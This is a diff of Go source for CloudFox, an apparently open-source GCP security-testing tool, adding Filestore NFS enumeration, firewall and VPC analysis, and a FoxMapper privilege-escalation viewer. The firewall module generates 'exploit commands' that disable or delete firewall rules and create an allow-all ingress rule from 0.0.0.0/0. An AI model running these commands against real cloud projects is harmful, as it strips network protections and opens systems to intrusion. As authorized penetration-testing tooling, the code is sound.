scopeNames := make([]string, len(m.ProjectIDs))
for i, projectID := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(projectID)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
+1537
View File
File diff suppressed because it is too large. Load diff
+400
View File
@@ -0,0 +1,400 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
filestoreservice "github.com/BishopFox/cloudfox/gcp/services/filestoreService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPFilestoreCommand = &cobra.Command{
Use: globals.GCP_FILESTORE_MODULE_NAME,
Aliases: []string{"nfs", "files"},
Short: "Enumerate Filestore NFS instances",
Long: `Enumerate Filestore instances and their file shares.`,
Run: runGCPFilestoreCommand,
}
type FilestoreModule struct {
gcpinternal.BaseGCPModule
ProjectInstances map[string][]filestoreservice.FilestoreInstanceInfo // projectID -> instances
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
type FilestoreOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o FilestoreOutput) TableFiles() []internal.TableFile { return o.Table }
func (o FilestoreOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPFilestoreCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_FILESTORE_MODULE_NAME)
if err != nil {
return
}
module := &FilestoreModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectInstances: make(map[string][]filestoreservice.FilestoreInstanceInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *FilestoreModule) getAllInstances() []filestoreservice.FilestoreInstanceInfo {
var all []filestoreservice.FilestoreInstanceInfo
for _, instances := range m.ProjectInstances {
all = append(all, instances...)
}
return all
}
func (m *FilestoreModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_FILESTORE_MODULE_NAME, m.processProject)
allInstances := m.getAllInstances()
if len(allInstances) == 0 {
logger.InfoM("No Filestore instances found", globals.GCP_FILESTORE_MODULE_NAME)
return
}
logger.SuccessM(fmt.Sprintf("Found %d Filestore instance(s)", len(allInstances)), globals.GCP_FILESTORE_MODULE_NAME)
m.writeOutput(ctx, logger)
}
func (m *FilestoreModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
m.mu.Lock()
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["filestore-commands"] = &internal.LootFile{
Name: "filestore-commands",
Contents: "# Filestore Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
m.mu.Unlock()
svc := filestoreservice.New()
instances, err := svc.ListInstances(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_FILESTORE_MODULE_NAME,
fmt.Sprintf("Could not enumerate Filestore instances in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectInstances[projectID] = instances
for _, instance := range instances {
m.addToLoot(projectID, instance)
}
m.mu.Unlock()
}
func (m *FilestoreModule) addToLoot(projectID string, instance filestoreservice.FilestoreInstanceInfo) {
lootFile := m.LootMap[projectID]["filestore-commands"]
if lootFile == nil {
return
}
// Determine protocol display name
protocol := instance.Protocol
if protocol == "" {
protocol = "NFS_V3" // Default
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# Instance: %s\n"+
"# =============================================================================\n"+
"# Location: %s\n"+
"# Project: %s\n"+
"# Protocol: %s\n"+
"# Tier: %s\n"+
"# Network: %s\n"+
"# IP(s): %s\n\n",
instance.Name,
instance.Location,
instance.ProjectID,
protocol,
instance.Tier,
instance.Network,
strings.Join(instance.IPAddresses, ", "),
)
// gcloud describe command
lootFile.Contents += fmt.Sprintf(
"# Describe instance:\n"+
"gcloud filestore instances describe %s --location=%s --project=%s\n\n",
instance.Name, instance.Location, instance.ProjectID,
)
// Mount commands for each share
if len(instance.Shares) > 0 && len(instance.IPAddresses) > 0 {
for _, share := range instance.Shares {
lootFile.Contents += fmt.Sprintf(
"# -----------------------------------------------------------------------------\n"+
"# Share: %s (%d GB)\n"+
"# -----------------------------------------------------------------------------\n",
share.Name, share.CapacityGB,
)
// Show NFS export options if present
if len(share.NfsExportOptions) > 0 {
lootFile.Contents += "# NFS Export Options:\n"
for _, opt := range share.NfsExportOptions {
ipRanges := strings.Join(opt.IPRanges, ", ")
if ipRanges == "" {
ipRanges = "all"
}
lootFile.Contents += fmt.Sprintf(
"# IP Ranges: %s\n"+
"# Access: %s\n"+
"# Squash: %s\n",
ipRanges,
opt.AccessMode,
opt.SquashMode,
)
if opt.SquashMode == "NO_ROOT_SQUASH" {
lootFile.Contents += "# [!] NO_ROOT_SQUASH - root access preserved!\n"
}
}
lootFile.Contents += "\n"
}
// Generate mount commands based on protocol
for _, ip := range instance.IPAddresses {
lootFile.Contents += "# Mount commands (run as root):\n"
switch protocol {
case "NFS_V4_1":
// NFSv4.1 mount command
lootFile.Contents += fmt.Sprintf(
"# NFSv4.1 mount:\n"+
"sudo mkdir -p /mnt/%s\n"+
"sudo mount -t nfs -o vers=4.1 %s:/%s /mnt/%s\n"+
"# With Kerberos (if configured):\n"+
"# sudo mount -t nfs -o vers=4.1,sec=krb5p %s:/%s /mnt/%s\n\n",
share.Name,
ip, share.Name, share.Name,
ip, share.Name, share.Name,
)
default: // NFS_V3 or empty
// NFSv3 mount command
lootFile.Contents += fmt.Sprintf(
"# NFSv3 mount:\n"+
"sudo mkdir -p /mnt/%s\n"+
"sudo mount -t nfs -o vers=3 %s:/%s /mnt/%s\n\n",
share.Name,
ip, share.Name, share.Name,
)
}
// List contents after mounting
lootFile.Contents += fmt.Sprintf(
"# After mounting, list contents:\n"+
"ls -la /mnt/%s\n"+
"# Check disk usage:\n"+
"df -h /mnt/%s\n\n",
share.Name, share.Name,
)
// Unmount command
lootFile.Contents += fmt.Sprintf(
"# Unmount when done:\n"+
"sudo umount /mnt/%s\n\n",
share.Name,
)
}
}
}
}
func (m *FilestoreModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *FilestoreModule) getHeader() []string {
return []string{
"Project Name",
"Project ID",
"Name",
"Location",
"Tier",
"Protocol",
"Network",
"IP",
"Shares",
"Access",
"Security",
"State",
}
}
func (m *FilestoreModule) instancesToTableBody(instances []filestoreservice.FilestoreInstanceInfo) [][]string {
var body [][]string
for _, instance := range instances {
var shareNames []string
var accessModes []string
hasNoRootSquash := false
for _, share := range instance.Shares {
shareNames = append(shareNames, fmt.Sprintf("%s (%dGB)", share.Name, share.CapacityGB))
for _, opt := range share.NfsExportOptions {
if opt.AccessMode != "" {
accessModes = append(accessModes, opt.AccessMode)
}
if opt.SquashMode == "NO_ROOT_SQUASH" {
hasNoRootSquash = true
}
}
}
ip := strings.Join(instance.IPAddresses, ", ")
if ip == "" {
ip = "-"
}
shares := strings.Join(shareNames, ", ")
if shares == "" {
shares = "-"
}
network := instance.Network
if network == "" {
network = "-"
}
protocol := instance.Protocol
if protocol == "" {
protocol = "NFS_V3"
}
// Deduplicate and format access modes
access := "-"
if len(accessModes) > 0 {
uniqueAccess := make(map[string]bool)
for _, a := range accessModes {
uniqueAccess[a] = true
}
var accessList []string
for a := range uniqueAccess {
accessList = append(accessList, a)
}
access = strings.Join(accessList, ", ")
}
// Security findings
security := "OK"
if hasNoRootSquash {
security = "NO_ROOT_SQUASH"
}
body = append(body, []string{
m.GetProjectName(instance.ProjectID),
instance.ProjectID,
instance.Name,
instance.Location,
instance.Tier,
protocol,
network,
ip,
shares,
access,
security,
instance.State,
})
}
return body
}
func (m *FilestoreModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if instances, ok := m.ProjectInstances[projectID]; ok && len(instances) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "filestore",
Header: m.getHeader(),
Body: m.instancesToTableBody(instances),
})
}
return tableFiles
}
func (m *FilestoreModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID := range m.ProjectInstances {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = FilestoreOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_FILESTORE_MODULE_NAME)
}
}
func (m *FilestoreModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allInstances := m.getAllInstances()
var tables []internal.TableFile
if len(allInstances) > 0 {
tables = append(tables, internal.TableFile{
Name: "filestore",
Header: m.getHeader(),
Body: m.instancesToTableBody(allInstances),
})
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := FilestoreOutput{
Table: tables,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
}
+666
View File
@@ -0,0 +1,666 @@
package commands
import (
"github.com/BishopFox/cloudfox/gcp/shared"
"context"
"fmt"
"strings"
"sync"
diagramservice "github.com/BishopFox/cloudfox/gcp/services/diagramService"
NetworkService "github.com/BishopFox/cloudfox/gcp/services/networkService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPFirewallCommand = &cobra.Command{
Use: globals.GCP_FIREWALL_MODULE_NAME,
Aliases: []string{"fw", "firewall-rules", "network-security"},
Short: "Enumerate VPC networks and firewall rules with security analysis",
Long: `Enumerate VPC networks, subnets, and firewall rules across projects with security analysis.
Features:
- Lists all VPC networks and their peering relationships
- Shows all subnets with CIDR ranges and configurations
- Enumerates firewall rules with security risk analysis
- Identifies overly permissive rules (0.0.0.0/0 ingress)
- Detects exposed sensitive ports (SSH, RDP, databases)
- Generates gcloud commands for remediation
Security Columns:
- Risk: HIGH, MEDIUM, LOW based on exposure analysis
- Direction: INGRESS or EGRESS
- Source: Source IP ranges (0.0.0.0/0 = internet)
- Ports: Allowed ports and protocols
- Issues: Detected security misconfigurations
Attack Surface:
- 0.0.0.0/0 ingress allows internet access to resources
- All ports allowed means no port restrictions
- No target tags means rule applies to ALL instances
- VPC peering may expose internal resources`,
Run: runGCPFirewallCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type FirewallModule struct {
gcpinternal.BaseGCPModule
// Per-project data for hierarchical output
ProjectNetworks map[string][]NetworkService.VPCInfo
ProjectSubnets map[string][]NetworkService.SubnetInfo
ProjectFirewallRules map[string][]NetworkService.FirewallRuleInfo
LootMap map[string]map[string]*internal.LootFile
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type FirewallOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o FirewallOutput) TableFiles() []internal.TableFile { return o.Table }
func (o FirewallOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPFirewallCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_FIREWALL_MODULE_NAME)
if err != nil {
return
}
module := &FirewallModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectNetworks: make(map[string][]NetworkService.VPCInfo),
ProjectSubnets: make(map[string][]NetworkService.SubnetInfo),
ProjectFirewallRules: make(map[string][]NetworkService.FirewallRuleInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *FirewallModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_FIREWALL_MODULE_NAME, m.processProject)
// Get all data for stats
allNetworks := m.getAllNetworks()
allSubnets := m.getAllSubnets()
allRules := m.getAllFirewallRules()
if len(allRules) == 0 && len(allNetworks) == 0 {
logger.InfoM("No networks or firewall rules found", globals.GCP_FIREWALL_MODULE_NAME)
return
}
// Count public ingress rules and peerings
publicIngressCount := 0
for _, rule := range allRules {
if rule.IsPublicIngress {
publicIngressCount++
}
}
peeringCount := 0
for _, network := range allNetworks {
peeringCount += len(network.Peerings)
}
msg := fmt.Sprintf("Found %d network(s), %d subnet(s), %d firewall rule(s)",
len(allNetworks), len(allSubnets), len(allRules))
if publicIngressCount > 0 {
msg += fmt.Sprintf(" [%d public ingress]", publicIngressCount)
}
if peeringCount > 0 {
msg += fmt.Sprintf(" [%d peerings]", peeringCount)
}
logger.SuccessM(msg, globals.GCP_FIREWALL_MODULE_NAME)
m.writeOutput(ctx, logger)
}
// getAllNetworks returns all networks from all projects
func (m *FirewallModule) getAllNetworks() []NetworkService.VPCInfo {
var all []NetworkService.VPCInfo
for _, networks := range m.ProjectNetworks {
all = append(all, networks...)
}
return all
}
// getAllSubnets returns all subnets from all projects
func (m *FirewallModule) getAllSubnets() []NetworkService.SubnetInfo {
var all []NetworkService.SubnetInfo
for _, subnets := range m.ProjectSubnets {
all = append(all, subnets...)
}
return all
}
// getAllFirewallRules returns all firewall rules from all projects
func (m *FirewallModule) getAllFirewallRules() []NetworkService.FirewallRuleInfo {
var all []NetworkService.FirewallRuleInfo
for _, rules := range m.ProjectFirewallRules {
all = append(all, rules...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *FirewallModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating networks and firewall in project: %s", projectID), globals.GCP_FIREWALL_MODULE_NAME)
}
ns := NetworkService.New()
// Initialize loot for this project
m.mu.Lock()
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["firewall-commands"] = &internal.LootFile{
Name: "firewall-commands",
Contents: "# Firewall Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
m.mu.Unlock()
var networks []NetworkService.VPCInfo
var subnets []NetworkService.SubnetInfo
var rules []NetworkService.FirewallRuleInfo
// Get networks
var err error
networks, err = ns.Networks(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_FIREWALL_MODULE_NAME,
fmt.Sprintf("Could not enumerate networks in project %s", projectID))
}
// Get subnets
subnets, err = ns.Subnets(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_FIREWALL_MODULE_NAME,
fmt.Sprintf("Could not enumerate subnets in project %s", projectID))
}
// Get firewall rules
rules, err = ns.FirewallRulesEnhanced(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_FIREWALL_MODULE_NAME,
fmt.Sprintf("Could not enumerate firewall rules in project %s", projectID))
}
// Thread-safe store per-project
m.mu.Lock()
m.ProjectNetworks[projectID] = networks
m.ProjectSubnets[projectID] = subnets
m.ProjectFirewallRules[projectID] = rules
for _, network := range networks {
m.addNetworkToLoot(projectID, network)
}
for _, rule := range rules {
m.addFirewallRuleToLoot(projectID, rule)
}
m.mu.Unlock()
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d network(s), %d subnet(s), %d rule(s) in project %s",
len(networks), len(subnets), len(rules), projectID), globals.GCP_FIREWALL_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *FirewallModule) addNetworkToLoot(projectID string, network NetworkService.VPCInfo) {
lootFile := m.LootMap[projectID]["firewall-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# NETWORK: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n\n"+
"gcloud compute networks describe %s --project=%s\n"+
"gcloud compute networks subnets list --network=%s --project=%s\n"+
"gcloud compute firewall-rules list --filter=\"network:%s\" --project=%s\n\n",
network.Name,
network.ProjectID,
network.Name, network.ProjectID,
network.Name, network.ProjectID,
network.Name, network.ProjectID,
)
}
func (m *FirewallModule) addFirewallRuleToLoot(projectID string, rule NetworkService.FirewallRuleInfo) {
lootFile := m.LootMap[projectID]["firewall-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# -----------------------------------------------------------------------------\n"+
"# RULE: %s\n"+
"# -----------------------------------------------------------------------------\n"+
"# Network: %s\n"+
"# Project: %s\n"+
"# Direction: %s\n"+
"# Priority: %d\n"+
"# Disabled: %v\n",
rule.Name, rule.Network, rule.ProjectID,
rule.Direction, rule.Priority, rule.Disabled,
)
lootFile.Contents += fmt.Sprintf(
"\n# === ENUMERATION COMMANDS ===\n\n"+
"# Describe rule:\n"+
"gcloud compute firewall-rules describe %s --project=%s\n\n"+
"# List all rules for this network:\n"+
"gcloud compute firewall-rules list --filter=\"network:%s\" --project=%s --sort-by=priority\n\n",
rule.Name, rule.ProjectID,
rule.Network, rule.ProjectID,
)
// Exploit commands
lootFile.Contents += fmt.Sprintf(
"# === EXPLOIT COMMANDS ===\n\n"+
"# Disable this firewall rule:\n"+
"gcloud compute firewall-rules update %s --disabled --project=%s\n\n"+
"# Create a permissive rule to allow all inbound traffic:\n"+
"gcloud compute firewall-rules create cloudfox-allow-all --network=%s --allow=tcp,udp,icmp --source-ranges=0.0.0.0/0 --priority=1 --project=%s\n\n"+
"# Create rule to allow SSH from your IP:\n"+
"gcloud compute firewall-rules create cloudfox-ssh --network=%s --allow=tcp:22 --source-ranges=YOUR_IP/32 --priority=100 --project=%s\n\n"+
"# Delete this firewall rule:\n"+
"gcloud compute firewall-rules delete %s --project=%s\n\n",
rule.Name, rule.ProjectID,
rule.Network, rule.ProjectID,
rule.Network, rule.ProjectID,
rule.Name, rule.ProjectID,
)
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *FirewallModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Generate ASCII diagram and add to loot
diagram := m.generateFirewallDiagram()
if diagram != "" {
// Add diagram to the first project's loot (or create a combined one)
for projectID := range m.LootMap {
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
}
m.LootMap[projectID]["firewall-diagram"] = &internal.LootFile{
Name: "firewall-diagram",
Contents: diagram,
}
break // Only add once for flat output
}
// For hierarchical output, add to all projects
if m.Hierarchy != nil && !m.FlatOutput {
for projectID := range m.LootMap {
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
}
m.LootMap[projectID]["firewall-diagram"] = &internal.LootFile{
Name: "firewall-diagram",
Contents: diagram,
}
}
}
}
// Decide between hierarchical and flat output
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// Table headers
func (m *FirewallModule) getRulesHeader() []string {
return []string{
"Project", "Rule Name", "Network", "Direction",
"Priority", "Source Ranges", "Allowed", "Targets", "Disabled", "Logging",
}
}
func (m *FirewallModule) getNetworksHeader() []string {
return []string{
"Project", "Network Name", "Routing Mode",
"Subnets", "Peerings", "Auto Subnets",
}
}
func (m *FirewallModule) getSubnetsHeader() []string {
return []string{
"Project", "Network", "Subnet Name",
"Region", "CIDR Range", "Private Google Access",
}
}
// rulesToTableBody converts rules to table body rows
func (m *FirewallModule) rulesToTableBody(rules []NetworkService.FirewallRuleInfo) [][]string {
var body [][]string
for _, rule := range rules {
sources := strings.Join(rule.SourceRanges, ", ")
if sources == "" {
sources = "-"
}
allowed := formatProtocols(rule.AllowedProtocols)
if allowed == "" {
allowed = "-"
}
targets := "-"
if len(rule.TargetTags) > 0 {
targets = strings.Join(rule.TargetTags, ", ")
} else if len(rule.TargetSAs) > 0 {
targets = strings.Join(rule.TargetSAs, ", ")
} else {
targets = "ALL"
}
body = append(body, []string{
m.GetProjectName(rule.ProjectID),
rule.Name,
rule.Network,
rule.Direction,
fmt.Sprintf("%d", rule.Priority),
sources,
allowed,
targets,
shared.BoolToYesNo(rule.Disabled),
shared.BoolToYesNo(rule.LoggingEnabled),
})
}
return body
}
// networksToTableBody converts networks to table body rows
func (m *FirewallModule) networksToTableBody(networks []NetworkService.VPCInfo) [][]string {
var body [][]string
for _, network := range networks {
subnetCount := len(network.Subnetworks)
peerings := "-"
if len(network.Peerings) > 0 {
var peerNames []string
for _, p := range network.Peerings {
peerNames = append(peerNames, p.Name)
}
peerings = strings.Join(peerNames, ", ")
}
body = append(body, []string{
m.GetProjectName(network.ProjectID),
network.Name,
network.RoutingMode,
fmt.Sprintf("%d", subnetCount),
peerings,
shared.BoolToYesNo(network.AutoCreateSubnetworks),
})
}
return body
}
// subnetsToTableBody converts subnets to table body rows
func (m *FirewallModule) subnetsToTableBody(subnets []NetworkService.SubnetInfo) [][]string {
var body [][]string
for _, subnet := range subnets {
body = append(body, []string{
m.GetProjectName(subnet.ProjectID),
subnet.Network,
subnet.Name,
subnet.Region,
subnet.IPCidrRange,
shared.BoolToYesNo(subnet.PrivateIPGoogleAccess),
})
}
return body
}
// buildTablesForProject builds all tables for given project data
func (m *FirewallModule) buildTablesForProject(networks []NetworkService.VPCInfo, subnets []NetworkService.SubnetInfo, rules []NetworkService.FirewallRuleInfo) []internal.TableFile {
var tableFiles []internal.TableFile
rulesBody := m.rulesToTableBody(rules)
if len(rulesBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_FIREWALL_MODULE_NAME + "-rules",
Header: m.getRulesHeader(),
Body: rulesBody,
})
}
networksBody := m.networksToTableBody(networks)
if len(networksBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_FIREWALL_MODULE_NAME + "-networks",
Header: m.getNetworksHeader(),
Body: networksBody,
})
}
subnetsBody := m.subnetsToTableBody(subnets)
if len(subnetsBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_FIREWALL_MODULE_NAME + "-subnets",
Header: m.getSubnetsHeader(),
Body: subnetsBody,
})
}
return tableFiles
}
// writeHierarchicalOutput writes output to per-project directories
func (m *FirewallModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Collect all projects with data
projectsWithData := make(map[string]bool)
for projectID := range m.ProjectNetworks {
projectsWithData[projectID] = true
}
for projectID := range m.ProjectSubnets {
projectsWithData[projectID] = true
}
for projectID := range m.ProjectFirewallRules {
projectsWithData[projectID] = true
}
for projectID := range projectsWithData {
networks := m.ProjectNetworks[projectID]
subnets := m.ProjectSubnets[projectID]
rules := m.ProjectFirewallRules[projectID]
tableFiles := m.buildTablesForProject(networks, subnets, rules)
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = FirewallOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_FIREWALL_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *FirewallModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allNetworks := m.getAllNetworks()
allSubnets := m.getAllSubnets()
allRules := m.getAllFirewallRules()
tableFiles := m.buildTablesForProject(allNetworks, allSubnets, allRules)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := FirewallOutput{
Table: tableFiles,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_FIREWALL_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// ------------------------------
// Diagram Generation
// ------------------------------
// generateFirewallDiagram creates an ASCII visualization of firewall rules
func (m *FirewallModule) generateFirewallDiagram() string {
allRules := m.getAllFirewallRules()
if len(allRules) == 0 {
return ""
}
// Group rules by network
rulesByNetwork := make(map[string][]NetworkService.FirewallRuleInfo)
for _, rule := range allRules {
key := rule.ProjectID + "/" + rule.Network
rulesByNetwork[key] = append(rulesByNetwork[key], rule)
}
var sb strings.Builder
width := 90
// Header
sb.WriteString(diagramservice.DrawBox("GCP FIREWALL RULES DIAGRAM - Generated by CloudFox", width))
sb.WriteString("\n")
// Draw diagram for each network
for key, rules := range rulesByNetwork {
parts := strings.SplitN(key, "/", 2)
projectID := ""
networkName := key
if len(parts) == 2 {
projectID = parts[0]
networkName = parts[1]
}
// Convert to diagram service types
diagramRules := make([]diagramservice.FirewallRuleInfo, 0, len(rules))
for _, r := range rules {
allowedPorts := formatProtocols(r.AllowedProtocols)
if allowedPorts == "" {
allowedPorts = "*"
}
targets := "ALL"
if len(r.TargetTags) > 0 {
targets = strings.Join(r.TargetTags, ", ")
} else if len(r.TargetSAs) > 0 {
targets = strings.Join(r.TargetSAs, ", ")
}
diagramRules = append(diagramRules, diagramservice.FirewallRuleInfo{
Name: r.Name,
Direction: r.Direction,
Priority: r.Priority,
SourceRanges: r.SourceRanges,
AllowedPorts: allowedPorts,
TargetTags: targets,
IsPublicIngress: r.IsPublicIngress,
Disabled: r.Disabled,
})
}
sb.WriteString(diagramservice.DrawFirewallDiagram(diagramRules, networkName, projectID, width))
sb.WriteString("\n")
}
return sb.String()
}
// Helper functions
// formatProtocols formats allowed/denied protocols for display
func formatProtocols(protocols map[string][]string) string {
var parts []string
for proto, ports := range protocols {
if len(ports) == 0 {
parts = append(parts, proto+":all")
} else {
parts = append(parts, proto+":"+strings.Join(ports, ","))
}
}
return strings.Join(parts, "; ")
}
+989
View File
@@ -0,0 +1,989 @@
package commands
import (
"context"
"fmt"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
foxmapperservice "github.com/BishopFox/cloudfox/gcp/services/foxmapperService"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPFoxMapperCommand = &cobra.Command{
Use: "foxmapper",
Aliases: []string{"fm", "pmapper"},
Short: "Display privilege escalation data from FoxMapper graphs",
Long: `Display and analyze privilege escalation paths from FoxMapper graph data.
This command reads FoxMapper graph data (generated by 'foxmapper gcp graph create')
and displays privilege escalation analysis results. It's the GCP equivalent of
CloudFox's AWS pmapper integration.
FoxMapper creates a graph of principals (service accounts, users, groups) and
privilege escalation edges between them. This command queries that graph to:
1. List all admin principals
2. List all principals with paths to admin
3. Display detailed escalation paths
4. Show statistics and summaries
FoxMapper data locations (checked in order):
- Linux: ~/.local/share/foxmapper/gcp/{org_id or project_id}/
- macOS: ~/Library/Application Support/foxmapper/gcp/{org_id or project_id}/
- Windows: %APPDATA%/foxmapper/gcp/{org_id or project_id}/
To generate FoxMapper data, run:
foxmapper gcp graph create --org {org_id}
foxmapper gcp graph create --project {project_id}
Examples:
# Display privesc analysis for an organization
cloudfox gcp foxmapper --org 123456789
# Display privesc analysis for a specific project
cloudfox gcp foxmapper --project my-project
# Use a custom FoxMapper data path
cloudfox gcp foxmapper --foxmapper-path /path/to/foxmapper/gcp/123456789`,
Run: runGCPFoxMapperCommand,
}
// Module-specific flags
var (
foxmapperOrgID string
